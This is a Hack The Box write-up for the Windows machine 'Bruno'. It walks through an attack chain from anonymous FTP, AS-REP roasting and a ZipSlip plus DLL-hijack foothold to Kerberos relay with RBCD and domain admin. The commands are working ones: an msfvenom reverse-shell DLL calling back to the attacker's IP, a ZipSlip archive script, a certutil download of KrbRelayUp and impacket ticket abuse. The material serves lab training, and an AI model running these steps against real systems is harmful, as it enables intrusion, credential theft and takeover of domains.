🧸Bruno
HTB Bruno — Detailed Solution Notes
Platform: Hack The Box | Machine: Bruno | OS: Windows Server 2022 | Difficulty: Medium | Vulnerability Types: Anonymous FTP, AS-REP Roasting, ZipSlip + DLL Hijack, Kerberos Relay (RBCD)
How Does a Hacker Think? — Chaining Weak Configurations Into Domain Admin
Bruno presents no immediately obvious entry point. There is no login page with a default password, no public-facing CVE to fire off the shelf. The attack chain here is built entirely from chaining small configuration mistakes: an FTP share left open, a service account with pre-authentication disabled, a .NET scanner that trusts ZIP archives blindly, and a domain controller with LDAP signing not enforced. None of these alone is catastrophic. Together they hand over the keys to the domain.
1. Reconnaissance
Network Scan
bash
nmap -sC -sV -p- --min-rate 5000 10.129.238.9 -oN nmapfull_bruno.txt
The scan returns a dense Windows Active Directory profile. Notable open ports are FTP on 21 with anonymous login allowed, HTTP on 80 running Microsoft IIS 10.0, Kerberos on 88, LDAP on 389, SMB on 445 with signing required, WinRM on 5985, and RDP on 3389. The LDAP certificate reveals the domain immediately: bruno.vl, with the domain controller hostname brunodc.bruno.vl. OS fingerprinting confirms Windows Server 2022 build 20348.
Hosts File
bash
echo "10.129.238.9 bruno.vl brunodc.bruno.vl" | sudo tee -a /etc/hosts
2. FTP Enumeration — Application Discovery
How Does a Hacker Think?
Anonymous FTP on a domain controller is unusual. When a Windows machine exposes FTP without authentication, it almost always points at an internal tool or shared resource that someone forgot to lock down. The first question is not "what can I download?" but "what does this tell me about how the machine works?"
FTP Access
bash
ftp 10.129.238.9
# Username: anonymous
# Password: (blank)
The share contains four directories: app, benign, malicious, and queue. The app directory holds a .NET application called SampleScanner. All files are downloaded for analysis.
Artifact Analysis
Reading changelog reveals two critical pieces of information. First, the scanner is automated using a service account named svc_scan. Second, the tool was integrated with a dev site in version 0.3, suggesting a web presence worth investigating later.
Reading the binary strings from SampleScanner.dll surfaces the scanning logic. The application monitors C:\samples\queue\*.zip, extracts ZIP archives using Path.Combine without sanitizing entry names, and processes the contents. The PDB path embedded in the binary leaks a developer username: C:\Users\xct\source\repos\SampleScanner.
Two usernames are now in scope: xct and svc_scan.
3. AS-REP Roasting — Credential Harvesting
How Does a Hacker Think?
A service account running an automated scanner is a textbook candidate for AS-REP roasting. Automation pipelines often use service accounts configured without Kerberos pre-authentication, because the developers wanted simplicity. That convenience creates an offline cracking opportunity: the KDC will hand out an encrypted ticket to anyone who asks, no password required.
Hash Request
bash
impacket-GetNPUsers bruno.vl/ -usersfile <(echo -e "svc_scan\nxct\nadministrator") -dc-ip 10.129.238.9 -no-pass -format hashcat
svc_scan returns a Kerberos AS-REP hash. The other accounts either do not exist in the domain or have pre-authentication enabled.
Hash Cracking
bash
hashcat -m 18200 '<hash>' /usr/share/wordlists/rockyou.txt
The password cracks in under one second: Sunshine1.
Credentials obtained: svc_scan : Sunshine1
SMB Share Verification
bash
netexec smb 10.129.238.9 -u svc_scan -p Sunshine1 --shares
The queue share is accessible with READ and WRITE permissions. This is the directory the scanner monitors.
4. Initial Foothold — ZipSlip + DLL Hijack
How Does a Hacker Think?
The scanner reads ZIP archives from a writable share and extracts them without validating entry paths. This is a textbook ZipSlip vulnerability. Path.Combine in .NET does not strip ../ sequences — it concatenates them literally. An archive containing an entry named ../app/target.dll will be extracted one directory above the queue folder, landing the file directly in C:\samples\app. The scanner loads DLLs from that directory. The attack surface is clear: craft a ZIP that writes a malicious DLL into the app folder, wait for the scanner to process it, collect the shell.
The target DLL name is identified from the binary strings in SampleScanner.dll: Microsoft.DiaSymReader.Native.amd64.dll.
Malicious DLL Generation
bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.26 LPORT=4444 -f dll -o Microsoft.DiaSymReader.Native.amd64.dll
ZipSlip Archive Creation
python
import zipfile
with zipfile.ZipFile('payload.zip', 'w') as z:
z.write('Microsoft.DiaSymReader.Native.amd64.dll', '../app/Microsoft.DiaSymReader.Native.amd64.dll')
Listener and Upload
bash
nc -lvnp 4444
smbclient //10.129.238.9/queue -U 'svc_scan%Sunshine1' -c 'put payload.zip'
The scanner picks up the ZIP, extracts it, and loads the DLL. The reverse shell connects within seconds.
Shell obtained: bruno\svc_scan
User flag obtained: C:\Users\svc_scan\Desktop\user.txt ✅
5. Active Directory Enumeration — BloodHound
How Does a Hacker Think?
A low-privilege shell on a domain controller is the starting point for AD enumeration, not the finish line. BloodHound maps the relationships between users, computers, groups, and permissions across the entire domain. Even when a direct attack path is not displayed — BloodHound CE does not model every possible edge — the presence of specific edges like CoerceToTGT points directly at the techniques that will work. The goal here is not to follow a GUI arrow; it is to understand the domain well enough to choose the right attack.
Data Collection
bash
bloodhound-python -u 'svc_scan' -p 'Sunshine1' -d bruno.vl -c all -ns 10.129.238.9 --auth-method ntlm --zip
BloodHound CE confirms the domain structure and reveals a CoerceToTGT edge from BRUNODC.BRUNO.VL to the BRUNO.VL domain object. LDAP signing is not enforced. The machine account quota for authenticated users is set to the default value of 10. These three facts together define the privilege escalation path: Kerberos relay with Resource-Based Constrained Delegation.
6. Privilege Escalation — KrbRelayUp (RBCD)
How Does a Hacker Think?
LDAP signing not enforced plus default machine account quota equals a Kerberos relay attack. KrbRelayUp automates the entire chain: it coerces the local machine account into authenticating over Kerberos, relays that authentication to LDAP, creates a new computer account, sets RBCD to allow that account to impersonate any user against the DC, then requests a Kerberos service ticket for Administrator and spawns a SYSTEM shell. The only prerequisite is code execution on the target — which the DLL hijack already provided.
KrbRelayUp Download and Transfer
bash
wget "https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/KrbRelayUp.exe" -O ~/Bruno/KrbRelayUp.exe
python3 -m http.server 80 -d ~/Bruno
From the shell on the target:
cmd
certutil -urlcache -split -f http://10.10.16.26/KrbRelayUp.exe C:\Users\svc_scan\KrbRelayUp.exe
RBCD Attack
cmd
C:\Users\svc_scan\KrbRelayUp.exe full -m rbcd -c -cls {d99e6e73-fc88-11d0-b498-00a0c90312f3} -d bruno.vl -dc brunodc.bruno.vl
KrbRelayUp completes all phases: computer account KRBRELAYUP$ is created, RBCD rights are written to the DC object, S4U2self and S4U2proxy succeed, and a ticket for Administrator is imported into a sacrificial process.
Computer account created: KRBRELAYUP$ with password iX3-rF6$hM1$hD2/
Administrator Ticket Request
Clock synchronization is required before Kerberos operations from the attack machine:
bash
sudo date -s "$(net time -S 10.129.238.9 2>/dev/null | head -1)"
bash
impacket-getST -impersonate 'administrator' bruno.vl/'KRBRELAYUP$':'iX3-rF6$hM1$hD2/' -spn HOST/brunodc.bruno.vl -dc-ip 10.129.238.9
Domain Admin Shell
bash
KRB5CCNAME=administrator@HOST_brunodc.bruno.vl@BRUNO.VL.ccache impacket-wmiexec -k -no-pass brunodc.bruno.vl
Root flag obtained: C:\Users\Administrator\Desktop\root.txt ✅
Core Techniques Used
Anonymous FTP enumeration was the entry point for the entire chain. The exposed share contained a compiled .NET application, a changelog leaking a service account name, and PDB path strings leaking a developer username — all without authentication.
AS-REP Roasting worked because svc_scan had Kerberos pre-authentication disabled, a common misconfiguration for service accounts running automated pipelines. The hash cracked immediately against the rockyou wordlist.
ZipSlip exploited the unsafe use of Path.Combine in the scanner's extraction logic. By crafting a ZIP archive with a path-traversal entry name, the malicious DLL was written into the application folder where the scanner would load it automatically.
DLL Hijacking completed the foothold. The scanner's dependency search order caused it to load the attacker-controlled Microsoft.DiaSymReader.Native.amd64.dll in preference to any legitimate copy, executing the reverse shell payload in the context of the svc_scan service account.
Kerberos Relay with RBCD was the privilege escalation technique. With LDAP signing unenforced and the default machine account quota in place, KrbRelayUp automated the full chain from coercion to SYSTEM-level code execution in a single command.
You might also want to look at these